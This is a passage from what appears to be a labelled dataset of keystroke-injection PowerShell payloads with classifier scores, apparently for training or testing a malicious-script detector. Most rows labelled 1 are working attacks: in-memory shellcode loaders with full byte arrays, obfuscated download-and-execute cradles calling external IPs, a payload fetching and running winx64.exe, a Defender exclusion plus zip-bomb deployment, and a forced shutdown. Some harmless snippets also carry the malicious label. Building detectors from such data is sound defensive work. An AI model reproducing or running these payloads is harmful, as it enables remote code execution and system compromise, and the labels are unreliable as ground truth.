$Output.Add('NIC', $NIC) enter $Output.Add('PIP', $PIP) enter } enter enter [pscustomobject]$Output enter } enter } enter } enter } enter } enter enter",0,0,0.9998816,0.0001183879
"win+r powershell enter $mml = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $mml -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0 enter x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0 enter x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0 enter x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0 enter x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0 enter x8b,0x48,0x18,0x8b,0 enter enter",1,1,5.390144e-05,0.9999461
"win+r powershell enter delay_short enter win+r enter delay_medium enter powershell Start-Process powershell -Verb runAs enter enter enter delay_long enter unknown_key_action ALT y enter delay_long enter powershell -w h Add-MpPreference -ExclusionPath C:\Windows\system32;;curl https://github.com/FalsePhilosopher/BadUSB-Playground/raw/main/Ducky/USBRubberducky/library/prank/Unix-like/Linux/Bombs/zip_bomb/42.zip -OutFile 42.zip;;$NumberOfLogicalProcessor = (Get-WmiObject Win32_Processor).NumberOfLogicalProcessors;;[runspacefactory]::CreateRunspacePool(1,$NumberOfLogicalProcessors);;$RunspacePool.Open();;$PSinstance = [powershell]::(Expand-Archive -Path 42.zip -Force);;$PSinstance.RunspacePool = $RunspacePool;;$PSinstance.BeginInvoke() enter enter enter",1,1,5.9864917e-05,0.99994016
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_mx9q1648"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.47306e-05
"win+r powershell enter $Database = ""dbamaint"" $Server = ""PSQLPA24"" $SMTPServer = ""smtp.domain.com"" $A enter ttachmentPath = ""C:\Dexma\Logs\output.csv"" $SqlQuery = ""exec sel_TRNSizing"" $Sq enter lConnection = New-Object System.Data.SqlClient.SqlConnection $SqlConnection.Conn enter ectionString = ""Data Source=$Server;Initial Catalog=$Database;Integrated Securit enter y = True"" $SqlCmd = New-Object System.Data.SqlClient.SqlCommand $SqlCmd.CommandT enter ext = $SqlQuery enter enter",1,1,0.001205867,0.9987941
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_crbg4c7d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4760218e-05
"win+r enter powershell enter enter enter function ConvertTo-ProviderAccessControlRights enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [ValidateSet('FileSystem','Registry','CryptoKey')] enter [string] enter enter $ProviderName, enter enter [Parameter(Mandatory=$true,ValueFromPipeline=$true)] enter [string[]] enter enter $InputObject enter ) enter enter begin enter { enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $rights = 0 enter $rightTypeName = 'Security.AccessControl.{0}Rights' -f $ProviderName enter $foundInvalidRight = $false enter } enter enter process enter { enter $InputObject | ForEach-Object { enter $right = ($_ -as $rightTypeName) enter if( -not $right ) enter { enter $allowedValues = [Enum]::GetNames($rightTypeName) enter Write-Error (""System.Security.AccessControl.{0}Rights value '{1}' not found. Must be one of: {2}."" -f $providerName,$_,($allowedValues -join ' ')) enter $foundInvalidRight = $true enter return enter } enter $rights = $rights -bor $right enter } enter } enter enter end enter { enter if( $foundInvalidRight ) enter { enter return $null enter } enter else enter { enter $rights enter } enter } enter } enter enter $f9B = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $f9B -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xe8,0x07,0xfc,0x05,0xda,0xd8,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x58,0x31,0x43,0x15,0x83,0xc3,0x04,0x03,0x43,0x11,0xe2,0x1d,0xfb,0x14,0x87,0xdd,0x04,0xe5,0xe8,0x54,0xe1,0xd4,0x28,0x02,0x61,0x46,0x99,0x41,0x27,0x6b,0x52,0x07,0xdc,0xf8,0x16,0x8f,0xd3,0x49,0x9c,0xe9,0xda,0x4a,0x8d,0xc9,0x7d,0xc9,0xcc,0x1d,0x5e,0xf0,0x1e,0x50,0x9f,0x35,0x42,0x98,0xcd,0xee,0x08,0x0e,0xe2,0x9b,0x45,0x92,0x89,0xd0,0x48,0x92,0x6e,0xa0,0x6b,0xb3,0x20,0xba,0x35,0x13,0xc2,0x6f,0x4e,0x1a,0xdc,0x6c,0x6b,0xd5,0x57,0x46,0x07,0xe4,0xb1,0x96,0xe8,0x4a,0xfc,0x16,0x1b,0x93,0x38,0x90,0xc4,0xe6,0x30,0xe2,0x79,0xf0,0x86,0x98,0xa5,0x75,0x1d,0x3a,0x2d,0x2d,0xf9,0xba,0xe2,0xab,0x8a,0xb1,0x4f,0xb8,0xd5,0xd5,0x4e,0x6d,0x6e,0xe1,0xdb,0x90,0xa1,0x63,0x9f,0xb6,0x65,0x2f,0x7b,0xd7,0x3c,0x95,0x2a,0xe8,0x5f,0x76,0x92,0x4c,0x2b,0x9b,0xc7,0xfd,0x76,0xf4,0x79,0x98,0xfc,0x04,0xee,0x15,0x94,0x6a,0x87,0x8d,0x0e,0x3f,0x20,0x0b,0xc8,0x40,0x1b,0x62,0x0d,0xed,0xf7,0xd7,0xe2,0x41,0x90,0xed,0x52,0x1f,0xc7,0xee,0x8e,0x8c,0x54,0x7a,0x32,0x60,0x08,0x12,0x93,0x89,0xae,0xe2,0x33,0x19,0xae,0xe2,0xc3,0x0d,0x9f,0x8f,0xf6,0x14,0x9a,0x4f,0xa9,0xfe,0x73,0xc6,0xd6,0x39,0x84,0x0d,0x61,0x03,0x28,0xc5,0x72,0xbe,0x2f,0x91,0x20,0xed,0xfc,0xce,0x95,0x47,0x6b,0x1b,0x4c,0x46,0x50,0x24,0xba,0x00,0xcc,0xd0,0x1a,0x45,0x91,0xd7,0xa4,0x95,0x18,0xf7,0xcf,0x91,0x4a,0x9d,0x10,0xcc,0x02,0x14,0x69,0x6e,0x54,0x29,0xa0,0xdd,0x0a,0x86,0x18,0xb4,0xc4,0x05,0x99,0x20,0x6e,0xaa,0x70,0xd5,0x50,0x21,0x71,0x99,0x25,0x10,0xed,0xd5,0x73,0x00,0xb8,0xea,0xa9,0x2e,0x05,0x7d,0x52,0xbe,0x85,0x7d,0x3a,0xbe,0x85,0x3d,0xba,0xed,0xed,0xe5,0x1e,0x42,0x0b,0xea,0x8a,0xf7,0x80,0x46,0xbc,0x10,0x71,0x01,0xbe,0xfe,0x7e,0xd1,0xed,0xa8,0x16,0xc3,0x87,0xdd,0x05,0x1c,0x72,0x58,0x09,0x97,0xb0,0xe9,0x8d,0x59,0x88,0x68,0x51,0x2c,0xeb,0x2a,0x91,0x90,0x1b,0xbf,0xea,0xd0,0x23,0x48,0x62,0x58,0xeb,0x98,0xef,0xce,0x61,0x8b,0x82,0x6b,0xab,0x26,0x2d,0x5a,0xd7,0xa9,0xb9,0xc7,0x17;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rJr.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2263633e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_li2yv031"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.445087e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_188x9ijk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4555702e-05
"win+r powershell enter Write-Host ""[Math]::Round(7.9)"" Write-Host ""[Convert]::ToString(576255753217, enter 8)"" Write-Host ""[Guid]::NewGuid()"" Write-Host ""[Net.Dns]::GetHostByName('schul enter ung12')"" Write-Host ""[IO.Path]::GetExtension('c: tab est.txt')"" Write-Host ""[IO.P enter ath]::ChangeExtension('c: tab est.txt', 'bak')"" (New-Object System.Net.WebClient).D enter ownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe""); enter Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.507651e-05,0.9999449
"win+r powershell enter [CmdletBinding(SupportsShouldProcess=$true)] param( [parameter(Mandatory=$true, enter HelpMessage=""Site server where the SMS Provider is installed."")] [ValidateNotN enter ullOrEmpty()] [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet enter })] [string]$SiteServer, [parameter(Mandatory=$true, HelpMessage=""Specify the enter additional languages as a string array. Pass an empty string to clear the exist enter ing additional languages."")] [ValidateNotNull()] [AllowEmptyString()] [Valida enter teSet("""",""en-us"",""ar-sa"",""bg-bg"",""zh-cn"",""zh-tw"",""hr-hr"",""cs-cz"",""da-dk"",""nl-nl"" enter ,""et-ee"", ""fi-fi"",""fr-fr"",""de-de"",""el-gr"",""he-il"",""hi-in"",""hu-hu"",""id-id"",""it-i enter t"",""ja-jp"", enter enter",1,1,0.0050998135,0.99490017
"win+r enter powershell enter enter enter $ktC = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ktC -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xa9,0x56,0xcc,0x50,0xda,0xc8,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,0x53,0x83,0xc3,0x04,0x31,0x43,0x0e,0x03,0xea,0x58,0x2e,0xa5,0x10,0x8c,0x2c,0x46,0xe8,0x4d,0x51,0xce,0x0d,0x7c,0x51,0xb4,0x46,0x2f,0x61,0xbe,0x0a,0xdc,0x0a,0x92,0xbe,0x57,0x7e,0x3b,0xb1,0xd0,0x35,0x1d,0xfc,0xe1,0x66,0x5d,0x9f,0x61,0x75,0xb2,0x7f,0x5b,0xb6,0xc7,0x7e,0x9c,0xab,0x2a,0xd2,0x75,0xa7,0x99,0xc2,0xf2,0xfd,0x21,0x69,0x48,0x13,0x22,0x8e,0x19,0x12,0x03,0x01,0x11,0x4d,0x83,0xa0,0xf6,0xe5,0x8a,0xba,0x1b,0xc3,0x45,0x31,0xef,0xbf,0x57,0x93,0x21,0x3f,0xfb,0xda,0x8d,0xb2,0x05,0x1b,0x29,0x2d,0x70,0x55,0x49,0xd0,0x83,0xa2,0x33,0x0e,0x01,0x30,0x93,0xc5,0xb1,0x9c,0x25,0x09,0x27,0x57,0x29,0xe6,0x23,0x3f,0x2e,0xf9,0xe0,0x34,0x4a,0x72,0x07,0x9a,0xda,0xc0,0x2c,0x3e,0x86,0x93,0x4d,0x67,0x62,0x75,0x71,0x77,0xcd,0x2a,0xd7,0xfc,0xe0,0x3f,0x6a,0x5f,0x6d,0xf3,0x47,0x5f,0x6d,0x9b,0xd0,0x2c,0x5f,0x04,0x4b,0xba,0xd3,0xcd,0x55,0x3d,0x13,0xe4,0x22,0xd1,0xea,0x07,0x53,0xf8,0x28,0x53,0x03,0x92,0x99,0xdc,0xc8,0x62,0x25,0x09,0x64,0x6a,0x80,0xe2,0x9b,0x97,0x72,0x53,0x1c,0x37,0x1b,0xb9,0x93,0x68,0x3b,0xc2,0x79,0x01,0xd4,0x3f,0x82,0x32,0xb4,0xc9,0x64,0x26,0xa6,0x9f,0x3f,0xde,0x04,0xc4,0xf7,0x79,0x76,0x2e,0xa0,0xed,0x3f,0x38,0x77,0x12,0xc0,0x6e,0xdf,0x84,0x4b,0x7d,0xdb,0xb5,0x4b,0xa8,0x4b,0xa2,0xdc,0x26,0x1a,0x81,0x7d,0x36,0x37,0x71,0x1d,0xa5,0xdc,0x81,0x68,0xd6,0x4a,0xd6,0x3d,0x28,0x83,0xb2,0xd3,0x13,0x3d,0xa0,0x29,0xc5,0x06,0x60,0xf6,0x36,0x88,0x69,0x7b,0x02,0xae,0x79,0x45,0x8b,0xea,0x2d,0x19,0xda,0xa4,0x9b,0xdf,0xb4,0x06,0x75,0xb6,0x6b,0xc1,0x11,0x4f,0x40,0xd2,0x67,0x50,0x8d,0xa4,0x87,0xe1,0x78,0xf1,0xb8,0xce,0xec,0xf5,0xc1,0x32,0x8d,0xfa,0x18,0xf7,0xbd,0xb0,0x00,0x5e,0x56,0x1d,0xd1,0xe2,0x3b,0x9e,0x0c,0x20,0x42,0x1d,0xa4,0xd9,0xb1,0x3d,0xcd,0xdc,0xfe,0xf9,0x3e,0xad,0x6f,0x6c,0x40,0x02,0x8f,0xa5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Lbv5=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Lbv5.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Lbv5,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.213908e-05,0.9999479
"win+r powershell enter function Test-FunctionsShouldUseUseCallerPreference { $files = Get-ChildItem -P enter ath (Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon\Functions\*.ps1') -File enter | Where-Object { $_.BaseName -ne 'Use-CallerPreference' } | Where-Object { -n enter ot ($_ | Select-String -Pattern 'Use-CallerPreference -Cmdlet $PSCmdlet -Session enter $ExecutionContext.SessionState' -SimpleMatch) } | Select-Object -ExpandProper enter ty 'Name' | Sort-Object if( $files ) { Fail ('The following scripts don''t enter don''t use `Use-CallerPreference`:{0} * {1}' -f ([Environment]::NewLine),($files enter -join ('{0} * ' -f ([Environment]::NewLine)))) } enter enter",1,1,0.014495865,0.9855041
"win+r enter powershell enter enter enter [SYSTEm.NEt.SERVIcePOIntMANAgEr]::EXPEcT100ConTinUe = 0;$WC=NeW-OBjeCT SYSTEM.NET.WeBCLiENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEaDers.Add('User-Agent',$u);$WC.ProXy = [SyStem.NET.WEbRequest]::DEFaULTWEBProxY;$wc.Proxy.CredENtIaLs = [SySTEm.NeT.CredentiAlCACHe]::DefAuLtNetwORkCReDEntiaLS;$K='81dc9bdb52d04dc20036dbd8313ed055';$I=0;[ChaR[]]$B=([chaR[]]($WC.DOwNloAdSTRING(""http://10.51.30.96:8080/index.asp"")))|%{$_-bXOr$k[$i++%$k.LenGTh]};IEX ($b-jOiN'') enter enter",1,1,5.570328e-05,0.9999443
win+r powershell enter function Test-CIPAddress { [CmdletBinding()] param( [Parameter(Mandatory=$t enter rue)] [Net.IPAddress] $IPAddress ) Set-StrictMode -Version 'Latest' enter enter,1,1,0.006437614,0.99356234
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_z5i748qe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter",0,0,0.9999665,3.344702e-05
"win+r powershell enter $Wc=NeW-ObJEct SysTeM.NET.WEBCLiEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$Wc.HEAdERS.Add('User-Agent',$u);$wc.ProxY = [SysT enter Em.NeT.WEBREQuEst]::DEfauLTWEBPROxY;$wc.ProxY.CREdeNTIAls = [SyStEM.Net.CREDeNti enter aLCAchE]::DEFaulTNEtWorkCREDentiALs;$K='21232f297a57a5a743894a0e4a801fc3';$I=0;[ enter CHar[]]$b=([cHaR[]]($WC.DoWnLOadSTRINg(""http://192.168.13.43:8080/index.asp"")))| enter %{$_-BXOR$k[$i++%$K.LenGth]};IEX ($b-JOiN'') enter enter",1,1,5.664899e-05,0.9999434
DUCKY_REAL_BEGIN enter REM Power off Linux from terminal enter DELAY 500 enter CTRL-ALT T enter DELAY 1000 enter STRING poweroff enter ENTER enter DUCKY_REAL_END,1,1,5.9683305e-05,0.9999403
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x6e,0x68,0x02,0x00,0x00,0x50,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0x47,0x9f,0x77,0x55,0xd9,0xc0,0xd9,0x74,0x24,0xf4,0x58,0x29,0xc9,0xb1,0x47,0x31,0x70,0x13,0x83,0xc0,0x04,0x03,0x70,0x48,0x7d,0x82,0xa9,0xbe,0x03,0x6d,0x52,0x3e,0x64,0xe7,0xb7,0x0f,0xa4,0x93,0xbc,0x3f,0x14,0xd7,0x91,0xb3,0xdf,0xb5,0x01,0x40,0xad,0x11,0x25,0xe1,0x18,0x44,0x08,0xf2,0x31,0xb4,0x0b,0x70,0x48,0xe9,0xeb,0x49,0x83,0xfc,0xea,0x8e,0xfe,0x0d,0xbe,0x47,0x74,0xa3,0x2f,0xec,0xc0,0x78,0xdb,0xbe,0xc5,0xf8,0x38,0x76,0xe7,0x29,0xef,0x0d,0xbe,0xe9,0x11,0xc2,0xca,0xa3,0x09,0x07,0xf6,0x7a,0xa1,0xf3,0x8c,0x7c,0x63,0xca,0x6d,0xd2,0x4a,0xe3,0x9f,0x2a,0x8a,0xc3,0x7f,0x59,0xe2,0x30,0xfd,0x5a,0x31,0x4b,0xd9,0xef,0xa2,0xeb,0xaa,0x48,0x0f,0x0a,0x7e,0x0e,0xc4,0x00,0xcb,0x44,0x82,0x04,0xca,0x89,0xb8,0x30,0x47,0x2c,0x6f,0xb1,0x13,0x0b,0xab,0x9a,0xc0,0x32,0xea,0x46,0xa6,0x4b,0xec,0x29,0x17,0xee,0x66,0xc7,0x4c,0x83,0x24,0x8f,0xa1,0xae,0xd6,0x4f,0xae,0xb9,0xa5,0x7d,0x71,0x12,0x22,0xcd,0xfa,0xbc,0xb5,0x32,0xd1,0x79,0x29,0xcd,0xda,0x79,0x63,0x09,0x8e,0x29,0x1b,0xb8,0xaf,0xa1,0xdb,0x45,0x7a,0x5f,0xd9,0xd1,0xa8,0x97,0xe0,0x84,0xdb,0xd5,0xe2,0xc7,0xa0,0x53,0x04,0x97,0x86,0x33,0x99,0x57,0x77,0xf4,0x49,0x3f,0x9d,0xfb,0xb6,0x5f,0x9e,0xd1,0xde,0xf5,0x71,0x8c,0xb7,0x61,0xeb,0x95,0x4c,0x10,0xf4,0x03,0x29,0x12,0x7e,0xa0,0xcd,0xdc,0x77,0xcd,0xdd,0x88,0x77,0x98,0xbc,0x1e,0x87,0x36,0xaa,0x9e,0x1d,0xbd,0x7d,0xc9,0x89,0xbf,0x58,0x3d,0x16,0x3f,0x8f,0x36,0x9f,0xd5,0x70,0x20,0xe0,0x39,0x71,0xb0,0xb6,0x53,0x71,0xd8,0x6e,0x00,0x22,0xfd,0x70,0x9d,0x56,0xae,0xe4,0x1e,0x0f,0x03,0xae,0x76,0xad,0x7a,0x98,0xd8,0x4e,0xa9,0x18,0x24,0x99,0x97,0x6e,0x44,0x19;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2156578e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_zvdi14fu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3645847e-05
"win+r enter powershell enter enter enter $vstsVariables = @{ enter PSES_BRANCH = 'master' enter } enter foreach ($var in $vstsVariables.Keys) enter { enter enter if (Get-Item ""env:$var"" -ErrorAction Ignore) enter { enter continue enter } enter enter $val = $vstsVariables[$var] enter Write-Host ""Setting var '$var' to value '$val'"" enter Write-Host "" enter } enter enter",0,0,0.99977845,0.00022152894
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_nutz35rx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.400085e-05
